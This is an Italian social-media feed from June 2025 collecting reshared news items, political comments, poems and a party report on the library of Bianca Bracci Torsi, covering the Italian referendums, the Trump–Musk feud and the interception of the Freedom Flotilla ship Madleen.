Qualche tempo fa Taj Mahal ebbe a dichiarare: “Se si toglie l’impronta africana dalla musica occidentale degli ultimi 500 anni, non rimane quasi nulla… ci stiamo solo collegando con la musica dei nostri antenati”. La veridicità di questa affermazione potrebbe essere da confutare, ma è indubbio che vi sia una buone dose di verità. Perchè […]
L'articolo Taj Mahal & Keb Mo – Room On
Il nostro voto può salvare la vita di tanti lavoratori vittime di appalti selvaggi: pensateci e andate ai seggi
globalist.it/economy/2025/06/0…
Pensiamo un istante. E riflettiamo sul fatto che un voto potrebbe salvare la vita a moltissime persone.
#Trump e #Musk, il Giano bifronte
Trump e Musk, il Giano bifronte
Lo scontro tra Donald Trump ed Elon Musk, passati in pochi giorni da amici e nemici e che rischia di trasformare i due un tempo alleati in prossimi avversari (Musk si propone di fondare un nuovo partito) ha riempito le prime pagine dei giornali di tu…altrenotizie.org
Che cosa sta combinando Musk con Neuralink e XChat?
L'articolo proviene da #StartMag e viene ricondiviso sulla comunità Lemmy @Informatica (Italy e non Italy 😁)
Tornato a tempo pieno ai suoi affari dopo essersi prestato alla politica, Elon Musk promette di lanciare nei prossimi giorni XChat, una specie di WhatsApp su X, e raccoglie 650 milioni con la sua azienda di chip cerebrali
Informatica (Italy e non Italy 😁) reshared this.
LIVE. Israele attacca la nave della Freedom Flotilla in acque internazionali
@Notizie dall'Italia e dal mondo
La Madleen è stata intercettata poco prima della mezzanotte di domenica. I militati israeliani sono saliti sull'imbarcazione, hanno sequestrato il carico e l'equipaggio e sono ora diretti verso il porto di Ashdod, in Israele
L'articolo LIVE. Israele
Notizie dall'Italia e dal mondo reshared this.
Podcast di Barbero cercansi
Sono un fan dello storico Alessandro Barbero, avevo sottoscritto 2 suoi podcast ma ultimamente uno è finito (quello di Intesa S. Paolo) e l'altro rimanda sempre gli stessi da mesi e mesi.
Ce n'è anche un terzo ma è sponsorizzato e il volume dello sponsor è più alto del volume della conferenza, cosa che mi dà molto fastidio.
Avete qualche podcast da consigliarmi? Uso AntennaPod e non riesco a trovarne altri.
reshared this
Dalla Newsletter di Haaretz
Hamas' leadership is leaning toward continuing its war with Israel to avert its own collapse, a Palestinian source familiar with the cease-fire negotiations in Qatar told Haaretz, adding that Hamas understands that it must choose whether to surrender or continue to fight at the price of hundreds, if not thousands, more Palestinian lives.
Quella povera gente è tra l'incudine e il martello.
Poliversity - Università ricerca e giornalismo reshared this.
Chi sta vincendo la guerra tecnologica fra Usa, Cina e India. Report Economist
L'articolo proviene da #StartMag e viene ricondiviso sulla comunità Lemmy @Informatica (Italy e non Italy 😁)
Che cosa emerge da un approfondimento del settimanale The startmag.it/innovazione/chi-st…
Informatica (Italy e non Italy 😁) reshared this.
Cornuti
@Politica interna, europea e internazionale
L'articolo Cornuti proviene da Fondazione Luigi Einaudi.
Politica interna, europea e internazionale reshared this.
byoblu.com/2025/06/06/maria-za…
Una alleanza internazionale per i diritti del popolo palestinese
Anna Camposampiero* Giovanna Capelli** Il 4 giugno 2025 in una giornata intensa e partecipata si è svolta a Parigi nella sede nazionale del PartitoRifondazione Comunista
La terra a noi si restringe
La terra a noi si restringe
all’ultimo varco ci calca
e, al transito, ci spogliamo delle nostre membra
ci spreme la terra. Se solo fossimo il suo grano per morire e rivivere
se lei fosse nostra madre pietosa di noi
se solo noi fossimo immagini di rocce portate dal sogno come specchi.
Abbiamo visto i volti di chi verrà ucciso dall’ultimo tra noi nell’ultima difesa dell’anima.
Abbiamo pianto alla festa dei loro figli. Abbiamo visto
i volti di chi getterà i nostri figli dalle finestre di questo
ultimo spazio. Specchi levigati dalla nostra stella.
Dove mai andremo oltre il confine estremo?
Dove voleranno gli uccelli oltre l’ultimo cielo?
Dove riposeranno le piante oltre l’ultimo soffio di vita?
Scriveremo i nostri nomi nel vapore purpureo
recideremo le mani al canto perché la nostra carne lo completi.
Moriremo qui. Qui all’ultimo varco. Qui e qui il nostro
sangue pianterà il suo ulivo.
Mahmoud Darwish
Referendum abrogativi 8 e 9 giugno: l'Italia al voto sui cinque quesiti. Alle 12 affluenza al 7.3%
Se non si toglie di mezzo questa assurdità del quorum è inutile continuare a fare referendum.
rainews.it/maratona/2025/06/re…
Referendum abrogativi 8 e 9 giugno: l'Italia al voto sui cinque quesiti. Alle 12 affluenza al 7.3% - Aggiornamento del 08 Giugno delle ore 15:30
Per cosa si vota e cosa ne pensano le diverse formazioni politiche. Urne aperte oggi, dalle 7 sino alle 23, e domani, dalle ore 7 alle 15. Il dato definitivo dell'affluenza, fondamentale per il quorum, verrà comunicato una volta chiusi i seggiRedazione di Rainews (RaiNews)
Facc8 likes this.
reshared this
La rivincita di Bannon: "Indagare Musk, immigrato e drogato"
"Dovrebbero avviare un'indagine formale sul suo status di immigrato, perché sono fermamente convinto che sia un immigrato illegale e dovrebbe essere espulso immediatamente dal Paese".
Poliversity - Università ricerca e giornalismo reshared this.
Giuseppe Carroccia*
Bianca aveva nella sua casa in via Urbana una intera stanza di oltre dieci metri quadrati occupata da una biblioteca di un migliaio di volumi, ben ordinati per argomenti.
Politica, Storia, Filosofia e tanta Letteratura. Dopo la sua morte una parte di questo patrimonio, è stato donato al suo Partito, Rifondazione Comunista e custodito per circa 10 anni al circolo Tufello Valmelaina, all’interno della Biblioteca popolare Antonio Gramsci.
Si tratta di testi che riguardano prevalentemente i fascismi, l’antifascismo e la lotta di liberazione in Italia e nel mondo, il comunismo e la sua storia, in particolare del Pci. E quindi con un interesse forte per la politica internazionale come era normale per chi aveva ricevuto una formazione leninista.
Molti di questi libri sono ormai introvabili persino nelle biblioteche nazionali di Roma e Firenze e non si trovano nemmeno nelle vendite on line, come lamentano studenti, storici, studiosi.
Per questo da tempo si sta pensando di mettere in rete i cataloghi delle librerie dei nostri circoli e rendere fruibile questo valoroso patrimonio culturale.
Il circolo di Valmelaina ha dovuto cambiare sede e non potendo più ospitare la libreria, l’ha consegnata al Circolo Cinecittà Quadraro di Roma che l’ha inserita nella Biblioteca Franco Iachini e ha organizzato il 7 giugno una inaugurazione. Si è voluto così cogliere l’occasione per una riflessione sull’azione politica di Bianca. Quando verrà effettuata con criteri scientifici la catalogazione si è convenuto che il gruppo antifascismo organizzerà un seminario nazionale per ragionare, partendo dai suoi libri, del pensiero di Bianca.
Intanto un primo momento di riflessione lo abbiamo voluto fare subito
Giovanni Ammendola, che insieme a Bianca e a Tina Costa è stato l’animatore del Gruppo memoria e antifascismo della Federazione Romana ha illustrato il modo di operare; non solo seminari, corsi di formazione, ricerche e produzione di opuscoli, ma anche pannelli e mostre da esporre durante le Feste o le iniziative politiche.
Alba Vastano che ha voluto testimoniare l’importanza anche personale del suo incontro con Bianca ha citato le centinaia di attività promosse dalla Biblioteca popolare: presentazioni di libri, convegni, attività culturali di livello con relatori autorevoli, anche se non si è riusciti a determinare un coinvolgimento popolare significativo.
Michela Becchis dello stesso circolo e vicina di casa, quindi frequentatrice della biblioteca ha raccontato le tante discussioni non solo politiche. La capacità di Bianca di entusiasmare soprattutto i giovani e i giovanissimi. In Bianca cultura e politica viaggiavano insieme e questo si manifestava soprattutto nella la passione per la narrativa.
Fabrizio De Sanctis, della Segreteria nazionale, dell’Anpi ha ricordato il ruolo di Bianca come dirigente Anpi di Roma, l’intransigenza delle sue battaglie in particolare quella contro la Guerra in Afganistan. Frutto di una consapevolezza che nasceva dalla definizione maturata nello studio del Corso sugli avversari di Togliatti, cioè sul fascismo come movimento reazionario di massa organizzato dalla fazione più conservatrice del capitale finanziario che produce a alimenta la guerra. I Fascismi si riproducono fino a che non ci saremo liberati del modo di produzione capitalistico.
Rita Scapinelli della Segreteria nazionale e responsabile antifascismo ha concluso ribadendo il nostro impegno a continuare sulla strada tracciata contrastando le scelte reazionarie di questo governo a partire dalle riforme istituzionali e dal recente decreto 1660, Paura. Occorre riuscire a rendere più consapevole la popolazione dei rischi che sta correndo la democrazia. Il successo della pubblicazione del libro sulla Dodicesima disposizione con decine di presentazioni in tutta Italia ci dicono che è possibile.
Una bottiglia di spumante rosso stappatasi da sola sul tavolo degli oratori ci ha ricordato a tutti l’urgenza degli impegni della giornata: ultime ore per i referendum e la manifestazione contro il genocidio a Gaza.
Forse ce lo zampino di Bianca. Bisogna studiare, informarsi ma quando è il momento di agire non si deve perdere tempo e si fa quello che va fatto non quello che ci piace.
A tutti è però piaciuto il ritratto che le ha fatto Stefano Salvi immaginando Bianca da ragazzina che legge l’Ordine Due Due Sette: ”Non un passo indietro” con lo stesso sguardo entusiasta col quale leggeva i libri di Salgari, le avventure dei tigrotti di Mompracen e di Sandokan.
*Segretario del Circolo L. Longo, Cinecittà / Quadraro
INAUGURATA AL CIRCOLO LONGO LA LIBRERIA DI BIANCA BRACCI TORSI
Giuseppe Carroccia* Bianca aveva nella sua casa in via Urbana una intera stanza di oltre dieci metri quadrati occupata da una biblioteca di un migliaio di voRifondazione Comunista
Perché questo regalo alle compagnie aeree e questo passo indietro per tutti noi?
Perché fino ad un certo punto un ritardo di 3 ore non era accettabile e adesso invece lo è?
Vediamo cosa farà il Parlamento Europeo quando dovrà votare questa proposta...
Poliversity - Università ricerca e giornalismo reshared this.
Conosce la paura del viaggio?
Sono l'amore o la speranza a guidarli?
Eroi di una dolce e quotidiana follia
Che non ho mai compreso nei grandi eroi del passato e che ho conosciuto
Vedo in voi la luce di innumerevoli stelle
La dolce stanchezza di chi ha dato tanto, darà tutto
Il coraggio di chi sa amare qualcosa con ogni parte della sua anima
Anche di più, quando un fascista mi dice di andare al mare
✍️✍️✍️✍️✍️
enzotib likes this.
ceiron
in reply to Elezioni e Politica 2025 • • •Elezioni e Politica 2025 likes this.
reshared this
Elezioni e Politica 2025 reshared this.